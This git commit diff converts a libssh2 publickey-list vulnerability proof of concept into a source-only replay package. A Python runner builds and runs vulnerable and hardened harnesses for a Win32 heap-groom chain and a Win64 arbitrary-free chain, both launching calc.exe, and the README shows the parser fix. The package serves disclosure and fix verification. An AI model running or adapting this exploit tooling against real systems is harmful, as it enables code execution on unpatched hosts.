Use source-only libssh2 replay package
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -1,2 +1,5 @@
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
libssh2-publickey-list-calc-poc/build/
|
||||
libssh2-publickey-list-calc-poc/x86_calc_payload_reached.txt
|
||||
libssh2-publickey-list-calc-poc/x64_calc_payload_reached.txt
|
||||
|
||||
@@ -41,26 +41,33 @@ reject num_attrs values that overflow the attrs allocation multiplication
|
||||
|
||||
```text
|
||||
poc/publickey_win32_heap_groom_calc_repro.c
|
||||
poc/publickey_win32_heap_groom_calc_repro.exe
|
||||
poc/publickey_win32_heap_groom_calc_repro_checked.exe
|
||||
poc/publickey_win64_arbitrary_free_calc_repro.c
|
||||
poc/publickey_win64_arbitrary_free_calc_repro.exe
|
||||
poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
|
||||
replay-calc-poc.ps1
|
||||
replay-calc-poc.py
|
||||
evidence/2026-06-25-local-calc-replay.txt
|
||||
SHA256SUMS.txt
|
||||
```
|
||||
|
||||
The checked binaries link against a publickey object with the two parser hardening changes above. The vulnerable binaries link against the target commit.
|
||||
The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit.
|
||||
|
||||
## Quick replay
|
||||
|
||||
Run on Windows:
|
||||
Set `LIBSSH2_SRC` to a libssh2 checkout and `LIBSSH2_OBJDIR` to a directory containing these objects:
|
||||
|
||||
```powershell
|
||||
.\replay-calc-poc.ps1
|
||||
```text
|
||||
publickey_win32.o
|
||||
publickey_win32_checked.o
|
||||
publickey_win64.o
|
||||
publickey_win64_checked.o
|
||||
```
|
||||
|
||||
Run with Python 3:
|
||||
|
||||
```sh
|
||||
python3 replay-calc-poc.py
|
||||
```
|
||||
|
||||
Windows runs the generated PE harnesses directly. Linux and macOS run them through Wine when `wine` is on `PATH`.
|
||||
|
||||
Expected proof signals:
|
||||
|
||||
```text
|
||||
@@ -79,7 +86,7 @@ victim_freed=0
|
||||
safe_callback_reached
|
||||
```
|
||||
|
||||
The replay starts `calc.exe` for both vulnerable harnesses and writes transient marker files during execution. The marker files are runtime artifacts and are left out of the tracked tree.
|
||||
The replay builds local executables, starts `calc.exe` for both vulnerable harnesses, and writes transient marker files during execution. The generated files are runtime artifacts and are left out of the tracked tree.
|
||||
|
||||
## Win32 chain
|
||||
|
||||
@@ -177,18 +184,18 @@ list_free trusts packet and attrs fields until a sentinel entry
|
||||
|
||||
## Rebuild notes
|
||||
|
||||
The binaries were built with MinGW-w64 and linked against `publickey.c` objects compiled from the target commit and from the checked variant.
|
||||
The replay runner uses MinGW-w64 and links against `publickey.c` objects compiled from the target commit and from the checked variant.
|
||||
|
||||
Equivalent source build shape:
|
||||
|
||||
```powershell
|
||||
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64.o -lws2_32 -lbcrypt
|
||||
```sh
|
||||
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt
|
||||
|
||||
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro_checked.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64_checked.o -lws2_32 -lbcrypt
|
||||
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro_checked.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64_checked.o" -lws2_32 -lbcrypt
|
||||
|
||||
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32.o -lws2_32 -lbcrypt
|
||||
i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32.o" -lws2_32 -lbcrypt
|
||||
|
||||
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro_checked.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32_checked.o -lws2_32 -lbcrypt
|
||||
i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro_checked.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32_checked.o" -lws2_32 -lbcrypt
|
||||
```
|
||||
|
||||
## Fix shape
|
||||
@@ -203,4 +210,4 @@ Before attrs allocation:
|
||||
if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response
|
||||
```
|
||||
|
||||
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked binaries.
|
||||
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables.
|
||||
|
||||
@@ -1,9 +1,5 @@
|
||||
1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt
|
||||
641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c
|
||||
52F74CD7ACA634B1C3BA3CED07E3B5B7751CBAA751384036412B02F9278C0696 poc/publickey_win32_heap_groom_calc_repro.exe
|
||||
4781A6DC8CFDE85429D75D03B3E2A7F27158995C68647973D6613D6217244165 poc/publickey_win32_heap_groom_calc_repro_checked.exe
|
||||
D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c
|
||||
B38B1033D31CEB96820F968889EC777B5F592C9145F4D23C2291B750D9B38F7B poc/publickey_win64_arbitrary_free_calc_repro.exe
|
||||
D51415DBA11B634EFE126ACE3CA887CF4B32198C5A479931FBC68D24308E5266 poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
|
||||
A033AF42313BCCA3C3D9D76C343388A2C096DC71C305FD010FEC640CA07D3D19 README.md
|
||||
2E88D97AEB90BBCBC72EFB73D493E64437E5E472F4DF21608F93E8141669E012 replay-calc-poc.ps1
|
||||
1A7EFC4E852071DC15930E9028D77851293E4233C6B79A7ADC3AE545A7846AD0 README.md
|
||||
2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,76 +0,0 @@
|
||||
$ErrorActionPreference = "Continue"
|
||||
|
||||
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$Poc = Join-Path $Root "poc"
|
||||
Set-Location -LiteralPath $Root
|
||||
|
||||
function Show-Matches($text, $patterns) {
|
||||
$pattern = [string]::Join("|", $patterns)
|
||||
$text | Select-String -Pattern $pattern
|
||||
}
|
||||
|
||||
Remove-Item -LiteralPath (Join-Path $Root "x86_calc_payload_reached.txt") -ErrorAction SilentlyContinue
|
||||
Remove-Item -LiteralPath (Join-Path $Root "x64_calc_payload_reached.txt") -ErrorAction SilentlyContinue
|
||||
|
||||
Write-Output "== Win32 publickey-list calc chain =="
|
||||
$x86v = Join-Path $Poc "publickey_win32_heap_groom_calc_repro.exe"
|
||||
$x86c = Join-Path $Poc "publickey_win32_heap_groom_calc_repro_checked.exe"
|
||||
$x86Args = @("3", "n", "call", "4068")
|
||||
$hit = 0
|
||||
$hitOut = $null
|
||||
|
||||
for($i = 1; $i -le 30; $i++) {
|
||||
$out = & $x86v @x86Args 2>&1
|
||||
if($LASTEXITCODE -eq 77) {
|
||||
$hit = $i
|
||||
$hitOut = $out
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if($hit) {
|
||||
Write-Output "x86_vulnerable_calc=hit attempt=$hit limit=30"
|
||||
Show-Matches $hitOut @("attrs_alloc", "victim\[", "marker_function_reached", "calc_launch")
|
||||
}
|
||||
else {
|
||||
Write-Output "x86_vulnerable_calc=miss limit=30"
|
||||
}
|
||||
|
||||
if(Test-Path (Join-Path $Root "x86_calc_payload_reached.txt")) {
|
||||
Get-Content (Join-Path $Root "x86_calc_payload_reached.txt")
|
||||
}
|
||||
|
||||
$checkedHit = 0
|
||||
for($i = 1; $i -le 30; $i++) {
|
||||
& $x86c @x86Args *> $null
|
||||
if($LASTEXITCODE -eq 77) {
|
||||
$checkedHit = $i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if($checkedHit) {
|
||||
Write-Output "x86_checked_calc=unexpected_hit attempt=$checkedHit limit=30"
|
||||
}
|
||||
else {
|
||||
Write-Output "x86_checked_calc=no_hit limit=30"
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
Write-Output "== Win64 publickey-list calc chain =="
|
||||
$x64v = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro.exe"
|
||||
$x64c = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro_checked.exe"
|
||||
$x64Out = & $x64v calc 2>&1
|
||||
$x64Exit = $LASTEXITCODE
|
||||
|
||||
Write-Output "x64_vulnerable_calc_exit=$x64Exit"
|
||||
Show-Matches $x64Out @("victim=", "free ptr=", "free_ignored_unknown", "victim_freed=", "same_as_victim=1", "calc_payload_reached", "calc_launch")
|
||||
|
||||
if(Test-Path (Join-Path $Root "x64_calc_payload_reached.txt")) {
|
||||
Get-Content (Join-Path $Root "x64_calc_payload_reached.txt")
|
||||
}
|
||||
|
||||
$x64CheckedOut = & $x64c calc 2>&1
|
||||
$x64CheckedExit = $LASTEXITCODE
|
||||
Write-Output "x64_checked_calc_exit=$x64CheckedExit"
|
||||
Show-Matches $x64CheckedOut @("victim_freed=", "same_as_victim=", "safe_callback_reached", "calc_payload_reached", "calc_launch")
|
||||
244
libssh2-publickey-list-calc-poc/replay-calc-poc.py
Normal file
244
libssh2-publickey-list-calc-poc/replay-calc-poc.py
Normal file
@@ -0,0 +1,244 @@
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
ROOT = Path(__file__).resolve().parent
|
||||
POC = ROOT / "poc"
|
||||
BUILD = ROOT / "build"
|
||||
MARKERS = [
|
||||
ROOT / "x86_calc_payload_reached.txt",
|
||||
ROOT / "x64_calc_payload_reached.txt",
|
||||
]
|
||||
TARGETS = [
|
||||
{
|
||||
"name": "x86_vulnerable",
|
||||
"compiler_env": "CC_WIN32",
|
||||
"compiler": "i686-w64-mingw32-gcc",
|
||||
"source": POC / "publickey_win32_heap_groom_calc_repro.c",
|
||||
"object": "publickey_win32.o",
|
||||
"exe": BUILD / "publickey_win32_heap_groom_calc_repro.exe",
|
||||
},
|
||||
{
|
||||
"name": "x86_checked",
|
||||
"compiler_env": "CC_WIN32",
|
||||
"compiler": "i686-w64-mingw32-gcc",
|
||||
"source": POC / "publickey_win32_heap_groom_calc_repro.c",
|
||||
"object": "publickey_win32_checked.o",
|
||||
"exe": BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe",
|
||||
},
|
||||
{
|
||||
"name": "x64_vulnerable",
|
||||
"compiler_env": "CC_WIN64",
|
||||
"compiler": "x86_64-w64-mingw32-gcc",
|
||||
"source": POC / "publickey_win64_arbitrary_free_calc_repro.c",
|
||||
"object": "publickey_win64.o",
|
||||
"exe": BUILD / "publickey_win64_arbitrary_free_calc_repro.exe",
|
||||
},
|
||||
{
|
||||
"name": "x64_checked",
|
||||
"compiler_env": "CC_WIN64",
|
||||
"compiler": "x86_64-w64-mingw32-gcc",
|
||||
"source": POC / "publickey_win64_arbitrary_free_calc_repro.c",
|
||||
"object": "publickey_win64_checked.o",
|
||||
"exe": BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe",
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
def runner():
|
||||
if platform.system() == "Windows":
|
||||
print("runner=native-windows")
|
||||
return []
|
||||
|
||||
wine = shutil.which("wine") or shutil.which("wine64")
|
||||
if wine is None:
|
||||
print("runner=missing-wine")
|
||||
print("install_wine_or_run_on_windows")
|
||||
sys.exit(2)
|
||||
|
||||
print(f"runner={wine}")
|
||||
return [wine]
|
||||
|
||||
|
||||
def env_path(name):
|
||||
value = os.environ.get(name, "").strip()
|
||||
if value == "":
|
||||
print(f"missing_env={name}")
|
||||
sys.exit(2)
|
||||
return Path(value)
|
||||
|
||||
|
||||
def compiler(target):
|
||||
value = os.environ.get(target["compiler_env"], "").strip()
|
||||
selected = target["compiler"]
|
||||
if value != "":
|
||||
selected = value
|
||||
found = shutil.which(selected)
|
||||
if found is None:
|
||||
print(f"missing_tool={selected}")
|
||||
sys.exit(2)
|
||||
return found
|
||||
|
||||
|
||||
def build_targets():
|
||||
src = env_path("LIBSSH2_SRC")
|
||||
objdir = env_path("LIBSSH2_OBJDIR")
|
||||
BUILD.mkdir(exist_ok=True)
|
||||
|
||||
for target in TARGETS:
|
||||
obj = objdir / target["object"]
|
||||
if obj.exists() is False:
|
||||
print(f"missing_object={obj}")
|
||||
sys.exit(2)
|
||||
|
||||
command = [
|
||||
compiler(target),
|
||||
"-O2",
|
||||
"-s",
|
||||
"-DLIBSSH2_WINCNG",
|
||||
f"-I{src / 'src'}",
|
||||
f"-I{src / 'include'}",
|
||||
"-o",
|
||||
str(target["exe"]),
|
||||
str(target["source"]),
|
||||
str(obj),
|
||||
"-lws2_32",
|
||||
"-lbcrypt",
|
||||
]
|
||||
print(f"building={target['name']}")
|
||||
completed = subprocess.run(
|
||||
command,
|
||||
cwd=str(ROOT),
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
errors="replace",
|
||||
)
|
||||
if completed.returncode != 0:
|
||||
print(completed.stdout, end="")
|
||||
print(f"build_failed={target['name']} exit={completed.returncode}")
|
||||
sys.exit(completed.returncode)
|
||||
|
||||
|
||||
def run_exe(prefix, exe, args):
|
||||
completed = subprocess.run(
|
||||
prefix + [str(exe)] + args,
|
||||
cwd=str(ROOT),
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
errors="replace",
|
||||
)
|
||||
return completed.returncode, completed.stdout.splitlines()
|
||||
|
||||
|
||||
def show_matches(lines, patterns):
|
||||
expression = re.compile("|".join(patterns))
|
||||
for line in lines:
|
||||
if expression.search(line):
|
||||
print(line)
|
||||
|
||||
|
||||
def remove_markers():
|
||||
for marker in MARKERS:
|
||||
try:
|
||||
marker.unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
def show_marker(name):
|
||||
marker = ROOT / name
|
||||
if marker.exists():
|
||||
text = marker.read_text(errors="replace").strip()
|
||||
if len(text) > 0:
|
||||
print(text)
|
||||
|
||||
|
||||
def replay_x86(prefix):
|
||||
print("== Win32 publickey-list calc chain ==")
|
||||
vulnerable = BUILD / "publickey_win32_heap_groom_calc_repro.exe"
|
||||
checked = BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe"
|
||||
args = ["3", "n", "call", "4068"]
|
||||
hit = 0
|
||||
hit_lines = []
|
||||
|
||||
for attempt in range(1, 31):
|
||||
code, lines = run_exe(prefix, vulnerable, args)
|
||||
if code == 77:
|
||||
hit = attempt
|
||||
hit_lines = lines
|
||||
break
|
||||
|
||||
if hit > 0:
|
||||
print(f"x86_vulnerable_calc=hit attempt={hit} limit=30")
|
||||
show_matches(hit_lines, ["attrs_alloc", r"victim\[", "marker_function_reached", "calc_launch"])
|
||||
else:
|
||||
print("x86_vulnerable_calc=miss limit=30")
|
||||
|
||||
show_marker("x86_calc_payload_reached.txt")
|
||||
|
||||
checked_hit = 0
|
||||
for attempt in range(1, 31):
|
||||
code, lines = run_exe(prefix, checked, args)
|
||||
if code == 77:
|
||||
checked_hit = attempt
|
||||
break
|
||||
|
||||
if checked_hit > 0:
|
||||
print(f"x86_checked_calc=unexpected_hit attempt={checked_hit} limit=30")
|
||||
else:
|
||||
print("x86_checked_calc=no_hit limit=30")
|
||||
|
||||
|
||||
def replay_x64(prefix):
|
||||
print("")
|
||||
print("== Win64 publickey-list calc chain ==")
|
||||
vulnerable = BUILD / "publickey_win64_arbitrary_free_calc_repro.exe"
|
||||
checked = BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe"
|
||||
|
||||
code, lines = run_exe(prefix, vulnerable, ["calc"])
|
||||
print(f"x64_vulnerable_calc_exit={code}")
|
||||
show_matches(
|
||||
lines,
|
||||
[
|
||||
"victim=",
|
||||
"free ptr=",
|
||||
"free_ignored_unknown",
|
||||
"victim_freed=",
|
||||
"same_as_victim=1",
|
||||
"calc_payload_reached",
|
||||
"calc_launch",
|
||||
],
|
||||
)
|
||||
show_marker("x64_calc_payload_reached.txt")
|
||||
|
||||
checked_code, checked_lines = run_exe(prefix, checked, ["calc"])
|
||||
print(f"x64_checked_calc_exit={checked_code}")
|
||||
show_matches(
|
||||
checked_lines,
|
||||
[
|
||||
"victim_freed=",
|
||||
"same_as_victim=",
|
||||
"safe_callback_reached",
|
||||
"calc_payload_reached",
|
||||
"calc_launch",
|
||||
],
|
||||
)
|
||||
|
||||
|
||||
def main():
|
||||
remove_markers()
|
||||
build_targets()
|
||||
prefix = runner()
|
||||
replay_x86(prefix)
|
||||
replay_x64(prefix)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user